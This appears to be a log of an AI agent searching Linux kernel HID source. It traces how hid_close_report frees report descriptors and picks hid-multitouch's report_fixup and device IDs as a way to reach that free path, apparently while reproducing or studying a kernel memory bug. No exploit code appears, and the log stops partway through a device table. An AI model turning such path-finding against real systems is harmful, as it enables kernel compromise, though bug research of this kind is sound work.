drivers/hid/bpf/hid_bpf_dispatch.c-274- if (!test_and_set_bit(ffs(HID_STAT_REPROBED), &hdev->status)) {
drivers/hid/bpf/hid_bpf_dispatch.c:275: /* trigger call to call_hid_bpf_rdesc_fixup() during the next probe */
drivers/hid/bpf/hid_bpf_dispatch.c-276- hdev->bpf_rsize = 0;
--
drivers/hid/hid-core.c=747=static inline void hid_free_bpf_rdesc(struct hid_device *hdev)
drivers/hid/hid-core.c-748-{
drivers/hid/hid-core.c:749: /* bpf_rdesc is either equal to dev_rdesc or allocated by call_hid_bpf_rdesc_fixup() */
drivers/hid/hid-core.c-750- if (hdev->bpf_rdesc != hdev->dev_rdesc)
--
drivers/hid/hid-core.c=2781=static int __hid_device_probe(struct hid_device *hdev, struct hid_driver *hdrv)
--
drivers/hid/hid-core.c-2798-
drivers/hid/hid-core.c:2799: /* call_hid_bpf_rdesc_fixup will always return a valid pointer */
drivers/hid/hid-core.c:2800: hdev->bpf_rdesc = call_hid_bpf_rdesc_fixup(hdev, hdev->dev_rdesc,
drivers/hid/hid-core.c-2801- &hdev->bpf_rsize);
--
include/linux/hid_bpf.h=215=int hid_bpf_device_init(struct hid_device *hid);
include/linux/hid_bpf.h:216:const u8 *call_hid_bpf_rdesc_fixup(struct hid_device *hdev, const u8 *rdesc, unsigned int *size);
include/linux/hid_bpf.h-217-#else /* CONFIG_HID_BPF */
--
include/linux/hid_bpf.h=234=static inline int hid_bpf_device_init(struct hid_device *hid) { return 0; }
include/linux/hid_bpf.h:235:static inline const u8 *call_hid_bpf_rdesc_fixup(struct hid_device *hdev, const u8 *rdesc,
include/linux/hid_bpf.h-236- unsigned int *size) { return rdesc; }
]
|
| 201/5 |
2026/05/19 10:19 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 68362
output: 46
thoughts: 243
Thoughts: **Decoding the HID Report Descriptor Lifecycle**
Okay, so the `hdev->bpf_rdesc` – that's the BPF report descriptor, right? – is allocated by `call_hid_bpf_rdesc_fixup`. Got it. Now, let's see, `hid_close_report` does some crucial memory management:
```c
if (device->rdesc != device->dev_rdesc && device->rdesc != device->bpf_rdesc)
kfree(device->rdesc);
```
Right, so `hdev->rdesc` gets freed *only* if it's neither `dev_rdesc` nor `bpf_rdesc`. That's the key. This implies it *has* to be allocated by `hid_open_report` using `device->driver->report_fixup`. It can't be anything else. Therefore, to leverage this, we *absolutely must* employ a driver that provides its own `report_fixup` implementation. Let's see... looking at the existing drivers, `hid-apple` has a `report_fixup`. `hid-logitech-hidpp` does too. And, so does `hid-lg`! `hid-cherry` and `hid-multitouch` are also in the game. Excellent!
Alright, time to dig deeper and see what `hid-multitouch.c` brings to the table. Let's start there.
|
| 202/5 |
2026/05/19 10:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-multitouch.c IncludeLines:true Name:mt_report_fixup]
Results: map[SourceCode:1569: static const __u8 *mt_report_fixup(struct hid_device *hdev, __u8 *rdesc,
1570: unsigned int *size)
1571: {
1572: if (hdev->vendor == I2C_VENDOR_ID_GOODIX &&
1573: (hdev->product == I2C_DEVICE_ID_GOODIX_01E8 ||
1574: hdev->product == I2C_DEVICE_ID_GOODIX_01E9)) {
1575: if (*size < 608) {
1576: dev_info(
1577: &hdev->dev,
1578: "GT7868Q fixup: report descriptor is only %u bytes, skipping\n",
1579: *size);
1580: return rdesc;
1581: }
1582:
1583: if (rdesc[607] == 0x15) {
1584: rdesc[607] = 0x25;
1585: dev_info(
1586: &hdev->dev,
1587: "GT7868Q report descriptor fixup is applied.\n");
1588: } else {
1589: dev_info(
1590: &hdev->dev,
1591: "The byte is not expected for fixing the report descriptor. \
1592: It's possible that the touchpad firmware is not suitable for applying the fix. \
1593: got: %x\n",
1594: rdesc[607]);
1595: }
1596: }
1597:
1598: return rdesc;
1599: }
SourceFile:drivers/hid/hid-multitouch.c]
|
| 203/5 |
2026/05/19 10:19 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 69493
output: 43
thoughts: 22
Thoughts: Here's my take on those thoughts:
**Analyzing Multi-Touch Device Compilation and Probe Function**
Okay, so the `hid-multitouch` module is *definitely* compiled into the kernel. No doubt about that, good. Now, the next logical step in debugging is to check how the system is probing for multi-touch devices. Time to dig into the `mt_probe` function. That's where the magic should be happening, figuring out if my hardware is correctly identified. Gotta see what's going on there. Let's get to the code.
|
| 204/5 |
2026/05/19 10:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-multitouch.c IncludeLines:true Name:mt_probe]
Results: map[SourceCode:1948: static int mt_probe(struct hid_device *hdev, const struct hid_device_id *id)
1949: {
1950: int ret, i;
1951: struct mt_device *td;
1952: const struct mt_class *mtclass = mt_classes; /* MT_CLS_DEFAULT */
1953:
1954: for (i = 0; mt_classes[i].name ; i++) {
1955: if (id->driver_data == mt_classes[i].name) {
1956: mtclass = &(mt_classes[i]);
1957: break;
1958: }
1959: }
1960:
1961: td = devm_kzalloc(&hdev->dev, sizeof(struct mt_device), GFP_KERNEL);
1962: if (!td) {
1963: dev_err(&hdev->dev, "cannot allocate multitouch data\n");
1964: return -ENOMEM;
1965: }
1966: td->haptic = devm_kzalloc(&hdev->dev, sizeof(*(td->haptic)), GFP_KERNEL);
1967: if (!td->haptic)
1968: return -ENOMEM;
1969:
1970: td->haptic->hdev = hdev;
1971: td->hdev = hdev;
1972: td->mtclass = *mtclass;
1973: td->inputmode_value = MT_INPUTMODE_TOUCHSCREEN;
1974: hid_set_drvdata(hdev, td);
1975:
1976: INIT_LIST_HEAD(&td->applications);
1977: INIT_LIST_HEAD(&td->reports);
1978:
1979: if (id->vendor == HID_ANY_ID && id->product == HID_ANY_ID)
1980: td->serial_maybe = true;
1981:
1982:
1983: /* Orientation is inverted if the X or Y axes are
1984: * flipped, but normalized if both are inverted.
1985: */
1986: if (hdev->quirks & (HID_QUIRK_X_INVERT | HID_QUIRK_Y_INVERT) &&
1987: !((hdev->quirks & HID_QUIRK_X_INVERT)
1988: && (hdev->quirks & HID_QUIRK_Y_INVERT)))
1989: td->mtclass.quirks = MT_QUIRK_ORIENTATION_INVERT;
1990:
1991: /* This allows the driver to correctly support devices
1992: * that emit events over several HID messages.
1993: */
1994: hdev->quirks |= HID_QUIRK_NO_INPUT_SYNC;
1995:
1996: /*
1997: * This allows the driver to handle different input sensors
1998: * that emits events through different applications on the same HID
1999: * device.
2000: */
2001: hdev->quirks |= HID_QUIRK_INPUT_PER_APP;
2002:
2003: if (id->group != HID_GROUP_MULTITOUCH_WIN_8)
2004: hdev->quirks |= HID_QUIRK_MULTI_INPUT;
2005:
2006: if (mtclass->quirks & MT_QUIRK_FORCE_MULTI_INPUT) {
2007: hdev->quirks &= ~HID_QUIRK_INPUT_PER_APP;
2008: hdev->quirks |= HID_QUIRK_MULTI_INPUT;
2009: }
2010:
2011: timer_setup(&td->release_timer, mt_expired_timeout, 0);
2012:
2013: ret = hid_parse(hdev);
2014: if (ret != 0)
2015: return ret;
2016:
2017: if (mtclass->name == MT_CLS_APPLE_TOUCHBAR &&
2018: !hid_find_field(hdev, HID_INPUT_REPORT,
2019: HID_DG_TOUCHPAD, HID_DG_TRANSDUCER_INDEX))
2020: return -ENODEV;
2021:
2022: if (mtclass->quirks & MT_QUIRK_FIX_CONST_CONTACT_ID)
2023: mt_fix_const_fields(hdev, HID_DG_CONTACTID);
2024:
2025: if (hdev->vendor == USB_VENDOR_ID_SIS_TOUCH)
2026: hdev->quirks |= HID_QUIRK_NOGET;
2027:
2028: ret = hid_hw_start(hdev, HID_CONNECT_DEFAULT);
2029: if (ret)
2030: return ret;
2031:
2032: ret = sysfs_create_group(&hdev->dev.kobj, &mt_attribute_group);
2033: if (ret)
2034: dev_warn(&hdev->dev, "Cannot allocate sysfs group for %s\n",
2035: hdev->name);
2036:
2037: mt_set_modes(hdev, HID_LATENCY_NORMAL, TOUCHPAD_REPORT_ALL);
2038:
2039: if (td->is_haptic_touchpad) {
2040: if (hid_haptic_init(hdev, &td->haptic)) {
2041: dev_warn(&hdev->dev, "Cannot allocate haptic for %s\n",
2042: hdev->name);
2043: td->is_haptic_touchpad = false;
2044: devm_kfree(&hdev->dev, td->haptic);
2045: }
2046: } else {
2047: devm_kfree(&hdev->dev, td->haptic);
2048: }
2049:
2050: return 0;
2051: }
SourceFile:drivers/hid/hid-multitouch.c]
|
| 205/5 |
2026/05/19 10:20 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 71414
output: 43
thoughts: 105
Thoughts: **My Assessment of the MT Probe Function**
Okay, so looking at this `mt_probe` function, I see a few things right off the bat. It seems like it skips a check for `hid_is_usb`, which is a bit of an oversight – usually, I'd want to ensure that type of device is handled separately. It proceeds directly to calling `hid_parse`, which seems reasonable enough to start the device parsing. The next check, `mtclass->name == MT_CLS_APPLE_TOUCHBAR`, is interesting. If we're not dealing with an Apple Touchbar, it effectively acts as a gate, allowing the execution to proceed, which I appreciate for its simplicity. Then it goes on to `hid_hw_start`, a good sign of a robust and stable implementation.
Given this robust foundation, the direction to use `hid-multitouch` seems like a good fit. Now, the question that comes to mind is: which vendor and product IDs are we targeting? Let's take a quick look at the `mt_devices` structure; that should guide us in identifying the correct identifiers to use for the intended device.
|
| 206/5 |
2026/05/19 10:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-multitouch.c IncludeLines:true Name:mt_devices]
Results: map[SourceCode:2112: /*
2113: * This list contains only:
2114: * - VID/PID of products not working with the default multitouch handling
2115: * - 2 generic rules.
2116: * So there is no point in adding here any device with MT_CLS_DEFAULT.
2117: */
2118: static const struct hid_device_id mt_devices[] = {
2119:
2120: /* 3M panels */
2121: { .driver_data = MT_CLS_3M,
2122: MT_USB_DEVICE(USB_VENDOR_ID_3M,
2123: USB_DEVICE_ID_3M1968) },
2124: { .driver_data = MT_CLS_3M,
2125: MT_USB_DEVICE(USB_VENDOR_ID_3M,
2126: USB_DEVICE_ID_3M2256) },
2127: { .driver_data = MT_CLS_3M,
2128: MT_USB_DEVICE(USB_VENDOR_ID_3M,
2129: USB_DEVICE_ID_3M3266) },
2130:
2131: /* Anton devices */
2132: { .driver_data = MT_CLS_EXPORT_ALL_INPUTS,
2133: MT_USB_DEVICE(USB_VENDOR_ID_ANTON,
2134: USB_DEVICE_ID_ANTON_TOUCH_PAD) },
2135:
2136: /* Asus T101HA */
2137: { .driver_data = MT_CLS_WIN_8_DISABLE_WAKEUP,
2138: HID_DEVICE(BUS_USB, HID_GROUP_MULTITOUCH_WIN_8,
2139: USB_VENDOR_ID_ASUSTEK,
2140: USB_DEVICE_ID_ASUSTEK_T101HA_KEYBOARD) },
2141:
2142: /* Asus T304UA */
2143: { .driver_data = MT_CLS_ASUS,
2144: HID_DEVICE(BUS_USB, HID_GROUP_MULTITOUCH_WIN_8,
2145: USB_VENDOR_ID_ASUSTEK,
2146: USB_DEVICE_ID_ASUSTEK_T304_KEYBOARD) },
2147:
2148: /* Atmel panels */
2149: { .driver_data = MT_CLS_SERIAL,
2150: MT_USB_DEVICE(USB_VENDOR_ID_ATMEL,
2151: USB_DEVICE_ID_ATMEL_MXT_DIGITIZER) },
2152:
2153: /* Baanto multitouch devices */
2154: { .driver_data = MT_CLS_NSMU,
2155: MT_USB_DEVICE(USB_VENDOR_ID_BAANTO,
2156: USB_DEVICE_ID_BAANTO_MT_190W2) },
2157:
2158: /* Cando panels */
2159: { .driver_data = MT_CLS_DUAL_INRANGE_CONTACTNUMBER,
2160: MT_USB_DEVICE(USB_VENDOR_ID_CANDO,
2161: USB_DEVICE_ID_CANDO_MULTI_TOUCH) },
2162: { .driver_data = MT_CLS_DUAL_INRANGE_CONTACTNUMBER,
2163: MT_USB_DEVICE(USB_VENDOR_ID_CANDO,
2164: USB_DEVICE_ID_CANDO_MULTI_TOUCH_15_6) },
2165:
2166: /* Chunghwa Telecom touch panels */
2167: { .driver_data = MT_CLS_NSMU,
2168: MT_USB_DEVICE(USB_VENDOR_ID_CHUNGHWAT,
2169: USB_DEVICE_ID_CHUNGHWAT_MULTITOUCH) },
2170:
2171: /* CJTouch panels */
2172: { .driver_data = MT_CLS_NSMU,
2173: MT_USB_DEVICE(USB_VENDOR_ID_CJTOUCH,
2174: USB_DEVICE_ID_CJTOUCH_MULTI_TOUCH_0020) },
2175: { .driver_data = MT_CLS_NSMU,
2176: MT_USB_DEVICE(USB_VENDOR_ID_CJTOUCH,
2177: USB_DEVICE_ID_CJTOUCH_MULTI_TOUCH_0040) },
2178:
2179: /* CVTouch panels */
2180: { .driver_data = MT_CLS_NSMU,
2181: MT_USB_DEVICE(USB_VENDOR_ID_CVTOUCH,
2182: USB_DEVICE_ID_CVTOUCH_SCREEN) },
2183:
2184: /* eGalax devices (SAW) */
2185: { .driver_data = MT_CLS_EXPORT_ALL_INPUTS,
2186: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2187: USB_DEVICE_ID_EGALAX_TOUCHCONTROLLER) },
2188:
2189: /* eGalax devices (resistive) */
2190: { .driver_data = MT_CLS_EGALAX,
2191: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2192: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_480D) },
2193: { .driver_data = MT_CLS_EGALAX,
2194: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2195: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_480E) },
2196:
2197: /* eGalax devices (capacitive) */
2198: { .driver_data = MT_CLS_EGALAX_SERIAL,
2199: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2200: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_7207) },
2201: { .driver_data = MT_CLS_EGALAX,
2202: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2203: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_720C) },
2204: { .driver_data = MT_CLS_EGALAX_SERIAL,
2205: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2206: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_7224) },
2207: { .driver_data = MT_CLS_EGALAX_SERIAL,
2208: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2209: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_722A) },
2210: { .driver_data = MT_CLS_EGALAX_SERIAL,
2211: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2212: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_725E) },
2213: { .driver_data = MT_CLS_EGALAX_SERIAL,
2214: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2215: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_7262) },
2216: { .driver_data = MT_CLS_EGALAX,
2217: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2218: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_726B) },
2219: { .driver_data = MT_CLS_EGALAX,
2220: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2221: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_72A1) },
2222: { .driver_data = MT_CLS_EGALAX_SERIAL,
2223: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2224: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_72AA) },
2225: { .driver_data = MT_CLS_EGALAX,
2226: HID_USB_DEVICE(USB_VENDOR_ID_DWAV,
2227: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_72C4) },
2228: { .driver_data = MT_CLS_EGALAX,
2229: HID_USB_DEVICE(USB_VENDOR_ID_DWAV,
2230: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_72D0) },
2231: { .driver_data = MT_CLS_EGALAX,
2232: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2233: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_72FA) },
2234: { .driver_data = MT_CLS_EGALAX,
2235: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2236: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_7302) },
2237: { .driver_data = MT_CLS_EGALAX_SERIAL,
2238: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2239: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_7349) },
2240: { .driver_data = MT_CLS_EGALAX_SERIAL,
2241: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2242: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_73F7) },
2243: { .driver_data = MT_CLS_EGALAX_SERIAL,
2244: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2245: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_A001) },
2246: { .driver_data = MT_CLS_EGALAX_SERIAL,
2247: MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
2248: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_C000) },
2249: { .driver_data = MT_CLS_EGALAX_P80H84,
2250: HID_DEVICE(HID_BUS_ANY, HID_GROUP_MULTITOUCH_WIN_8,
2251: USB_VENDOR_ID_DWAV,
2252: USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_C002) },
2253:
2254: /* Elan devices */
2255: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT,
2256: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2257: USB_VENDOR_ID_ELAN, 0x313a) },
2258:
2259: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT,
2260: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2261: USB_VENDOR_ID_ELAN, 0x3148) },
2262:
2263: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT_NSMU,
2264: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2265: USB_VENDOR_ID_ELAN, 0x32ae) },
2266:
2267: /* Elitegroup panel */
2268: { .driver_data = MT_CLS_SERIAL,
2269: MT_USB_DEVICE(USB_VENDOR_ID_ELITEGROUP,
2270: USB_DEVICE_ID_ELITEGROUP_05D8) },
2271:
2272: /* Flatfrog Panels */
2273: { .driver_data = MT_CLS_FLATFROG,
2274: MT_USB_DEVICE(USB_VENDOR_ID_FLATFROG,
2275: USB_DEVICE_ID_MULTITOUCH_3200) },
2276:
2277: /* FocalTech Panels */
2278: { .driver_data = MT_CLS_SERIAL,
2279: MT_USB_DEVICE(USB_VENDOR_ID_CYGNAL,
2280: USB_DEVICE_ID_FOCALTECH_FTXXXX_MULTITOUCH) },
2281:
2282: /* GeneralTouch panel */
2283: { .driver_data = MT_CLS_GENERALTOUCH_TWOFINGERS,
2284: MT_USB_DEVICE(USB_VENDOR_ID_GENERAL_TOUCH,
2285: USB_DEVICE_ID_GENERAL_TOUCH_WIN7_TWOFINGERS) },
2286: { .driver_data = MT_CLS_GENERALTOUCH_PWT_TENFINGERS,
2287: MT_USB_DEVICE(USB_VENDOR_ID_GENERAL_TOUCH,
2288: USB_DEVICE_ID_GENERAL_TOUCH_WIN8_PWT_TENFINGERS) },
2289: { .driver_data = MT_CLS_GENERALTOUCH_TWOFINGERS,
2290: MT_USB_DEVICE(USB_VENDOR_ID_GENERAL_TOUCH,
2291: USB_DEVICE_ID_GENERAL_TOUCH_WIN8_PIT_0101) },
2292: { .driver_data = MT_CLS_GENERALTOUCH_PWT_TENFINGERS,
2293: MT_USB_DEVICE(USB_VENDOR_ID_GENERAL_TOUCH,
2294: USB_DEVICE_ID_GENERAL_TOUCH_WIN8_PIT_0102) },
2295: { .driver_data = MT_CLS_GENERALTOUCH_PWT_TENFINGERS,
2296: MT_USB_DEVICE(USB_VENDOR_ID_GENERAL_TOUCH,
2297: USB_DEVICE_ID_GENERAL_TOUCH_WIN8_PIT_0106) },
2298: { .driver_data = MT_CLS_GENERALTOUCH_PWT_TENFINGERS,
2299: MT_USB_DEVICE(USB_VENDOR_ID_GENERAL_TOUCH,
2300: USB_DEVICE_ID_GENERAL_TOUCH_WIN8_PIT_010A) },
2301: { .driver_data = MT_CLS_GENERALTOUCH_PWT_TENFINGERS,
2302: MT_USB_DEVICE(USB_VENDOR_ID_GENERAL_TOUCH,
2303: USB_DEVICE_ID_GENERAL_TOUCH_WIN8_PIT_E100) },
2304:
2305: /* Gametel game controller */
2306: { .driver_data = MT_CLS_NSMU,
2307: MT_BT_DEVICE(USB_VENDOR_ID_FRUCTEL,
2308: USB_DEVICE_ID_GAMETEL_MT_MODE) },
2309:
2310: /* Goodix GT7868Q devices */
2311: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT_NSMU,
2312: HID_DEVICE(BUS_I2C, HID_GROUP_ANY, I2C_VENDOR_ID_GOODIX,
2313: I2C_DEVICE_ID_GOODIX_01E8) },
2314: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT_NSMU,
2315: HID_DEVICE(BUS_I2C, HID_GROUP_ANY, I2C_VENDOR_ID_GOODIX,
2316: I2C_DEVICE_ID_GOODIX_01E9) },
2317:
2318: /* GoodTouch panels */
2319: { .driver_data = MT_CLS_NSMU,
2320: MT_USB_DEVICE(USB_VENDOR_ID_GOODTOUCH,
2321: USB_DEVICE_ID_GOODTOUCH_000f) },
2322:
2323: /* Hanvon panels */
2324: { .driver_data = MT_CLS_DUAL_INRANGE_CONTACTID,
2325: MT_USB_DEVICE(USB_VENDOR_ID_HANVON_ALT,
2326: USB_DEVICE_ID_HANVON_ALT_MULTITOUCH) },
2327:
2328: /* HONOR GLO-GXXX panel */
2329: { .driver_data = MT_CLS_VTL,
2330: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2331: 0x347d, 0x7853) },
2332:
2333: /* HONOR MagicBook Art 14 touchpad */
2334: { .driver_data = MT_CLS_VTL,
2335: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2336: 0x35cc, 0x0104) },
2337:
2338: /* Ilitek dual touch panel */
2339: { .driver_data = MT_CLS_NSMU,
2340: MT_USB_DEVICE(USB_VENDOR_ID_ILITEK,
2341: USB_DEVICE_ID_ILITEK_MULTITOUCH) },
2342:
2343: /* LG Melfas panel */
2344: { .driver_data = MT_CLS_LG,
2345: HID_USB_DEVICE(USB_VENDOR_ID_LG,
2346: USB_DEVICE_ID_LG_MELFAS_MT) },
2347: { .driver_data = MT_CLS_LG,
2348: HID_DEVICE(BUS_I2C, HID_GROUP_GENERIC,
2349: USB_VENDOR_ID_LG, I2C_DEVICE_ID_LG_7010) },
2350:
2351: /* Lenovo X1 TAB Gen 1 */
2352: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT,
2353: HID_DEVICE(BUS_USB, HID_GROUP_MULTITOUCH_WIN_8,
2354: USB_VENDOR_ID_LENOVO,
2355: USB_DEVICE_ID_LENOVO_X1_TAB) },
2356:
2357: /* Lenovo X1 TAB Gen 2 */
2358: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT,
2359: HID_DEVICE(BUS_USB, HID_GROUP_MULTITOUCH_WIN_8,
2360: USB_VENDOR_ID_LENOVO,
2361: USB_DEVICE_ID_LENOVO_X1_TAB2) },
2362:
2363: /* Lenovo X1 TAB Gen 3 */
2364: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT,
2365: HID_DEVICE(BUS_USB, HID_GROUP_MULTITOUCH_WIN_8,
2366: USB_VENDOR_ID_LENOVO,
2367: USB_DEVICE_ID_LENOVO_X1_TAB3) },
2368:
2369: /* Lenovo X12 TAB Gen 1 */
2370: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT_NSMU,
2371: HID_DEVICE(BUS_USB, HID_GROUP_MULTITOUCH_WIN_8,
2372: USB_VENDOR_ID_LENOVO,
2373: USB_DEVICE_ID_LENOVO_X12_TAB) },
2374:
2375: /* Lenovo X12 TAB Gen 2 */
2376: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT_NSMU,
2377: HID_DEVICE(BUS_USB, HID_GROUP_MULTITOUCH_WIN_8,
2378: USB_VENDOR_ID_LENOVO,
2379: USB_DEVICE_ID_LENOVO_X12_TAB2) },
2380:
2381: /* Lenovo Yoga Book 9i */
2382: { .driver_data = MT_CLS_YOGABOOK9I,
2383: HID_DEVICE(BUS_USB, HID_GROUP_MULTITOUCH_WIN_8,
2384: USB_VENDOR_ID_LENOVO,
2385: USB_DEVICE_ID_LENOVO_YOGABOOK9I) },
2386:
2387: /* Logitech devices */
2388: { .driver_data = MT_CLS_NSMU,
2389: HID_DEVICE(BUS_BLUETOOTH, HID_GROUP_MULTITOUCH_WIN_8,
2390: USB_VENDOR_ID_LOGITECH,
2391: USB_DEVICE_ID_LOGITECH_CASA_TOUCHPAD) },
2392: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT_NSMU,
2393: HID_DEVICE(BUS_USB, HID_GROUP_MULTITOUCH_WIN_8,
2394: USB_VENDOR_ID_LOGITECH,
2395: USB_DEVICE_ID_LOGITECH_BOLT_RECEIVER) },
2396:
2397: /* MosArt panels */
2398: { .driver_data = MT_CLS_CONFIDENCE_MINUS_ONE,
2399: MT_USB_DEVICE(USB_VENDOR_ID_ASUS,
2400: USB_DEVICE_ID_ASUS_T91MT)},
2401: { .driver_data = MT_CLS_CONFIDENCE_MINUS_ONE,
2402: MT_USB_DEVICE(USB_VENDOR_ID_ASUS,
2403: USB_DEVICE_ID_ASUSTEK_MULTITOUCH_YFO) },
2404: { .driver_data = MT_CLS_CONFIDENCE_MINUS_ONE,
2405: MT_USB_DEVICE(USB_VENDOR_ID_TURBOX,
2406: USB_DEVICE_ID_TURBOX_TOUCHSCREEN_MOSART) },
2407:
2408: /* Novatek Panel */
2409: { .driver_data = MT_CLS_NSMU,
2410: MT_USB_DEVICE(USB_VENDOR_ID_NOVATEK,
2411: USB_DEVICE_ID_NOVATEK_PCT) },
2412:
2413: /* Ntrig Panel */
2414: { .driver_data = MT_CLS_NSMU,
2415: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2416: USB_VENDOR_ID_NTRIG, 0x1b05) },
2417:
2418: /* Panasonic panels */
2419: { .driver_data = MT_CLS_PANASONIC,
2420: MT_USB_DEVICE(USB_VENDOR_ID_PANASONIC,
2421: USB_DEVICE_ID_PANABOARD_UBT780) },
2422: { .driver_data = MT_CLS_PANASONIC,
2423: MT_USB_DEVICE(USB_VENDOR_ID_PANASONIC,
2424: USB_DEVICE_ID_PANABOARD_UBT880) },
2425:
2426: /* PixArt optical touch screen */
2427: { .driver_data = MT_CLS_INRANGE_CONTACTNUMBER,
2428: MT_USB_DEVICE(USB_VENDOR_ID_PIXART,
2429: USB_DEVICE_ID_PIXART_OPTICAL_TOUCH_SCREEN) },
2430: { .driver_data = MT_CLS_INRANGE_CONTACTNUMBER,
2431: MT_USB_DEVICE(USB_VENDOR_ID_PIXART,
2432: USB_DEVICE_ID_PIXART_OPTICAL_TOUCH_SCREEN1) },
2433: { .driver_data = MT_CLS_INRANGE_CONTACTNUMBER,
2434: MT_USB_DEVICE(USB_VENDOR_ID_PIXART,
2435: USB_DEVICE_ID_PIXART_OPTICAL_TOUCH_SCREEN2) },
2436:
2437: /* PixCir-based panels */
2438: { .driver_data = MT_CLS_DUAL_INRANGE_CONTACTID,
2439: MT_USB_DEVICE(USB_VENDOR_ID_CANDO,
2440: USB_DEVICE_ID_CANDO_PIXCIR_MULTI_TOUCH) },
2441:
2442: /* Quanta-based panels */
2443: { .driver_data = MT_CLS_CONFIDENCE_CONTACT_ID,
2444: MT_USB_DEVICE(USB_VENDOR_ID_QUANTA,
2445: USB_DEVICE_ID_QUANTA_OPTICAL_TOUCH_3001) },
2446:
2447: /* Razer touchpads */
2448: { .driver_data = MT_CLS_RAZER_BLADE_STEALTH,
2449: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2450: USB_VENDOR_ID_SYNAPTICS, 0x8323) },
2451:
2452: /* Smart Tech panels */
2453: { .driver_data = MT_CLS_SMART_TECH,
2454: MT_USB_DEVICE(0x0b8c, 0x0092)},
2455:
2456: /* Stantum panels */
2457: { .driver_data = MT_CLS_CONFIDENCE,
2458: MT_USB_DEVICE(USB_VENDOR_ID_STANTUM_STM,
2459: USB_DEVICE_ID_MTP_STM)},
2460:
2461: /* Synaptics devices */
2462: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT,
2463: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2464: USB_VENDOR_ID_SYNAPTICS, 0xcd7e) },
2465:
2466: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT,
2467: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2468: USB_VENDOR_ID_SYNAPTICS, 0xcddc) },
2469:
2470: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT,
2471: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2472: USB_VENDOR_ID_SYNAPTICS, 0xce08) },
2473:
2474: { .driver_data = MT_CLS_WIN_8_FORCE_MULTI_INPUT,
2475: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2476: USB_VENDOR_ID_SYNAPTICS, 0xce09) },
2477:
2478: /* TopSeed panels */
2479: { .driver_data = MT_CLS_TOPSEED,
2480: MT_USB_DEVICE(USB_VENDOR_ID_TOPSEED2,
2481: USB_DEVICE_ID_TOPSEED2_PERIPAD_701) },
2482:
2483: /* Touch International panels */
2484: { .driver_data = MT_CLS_NSMU,
2485: MT_USB_DEVICE(USB_VENDOR_ID_TOUCH_INTL,
2486: USB_DEVICE_ID_TOUCH_INTL_MULTI_TOUCH) },
2487:
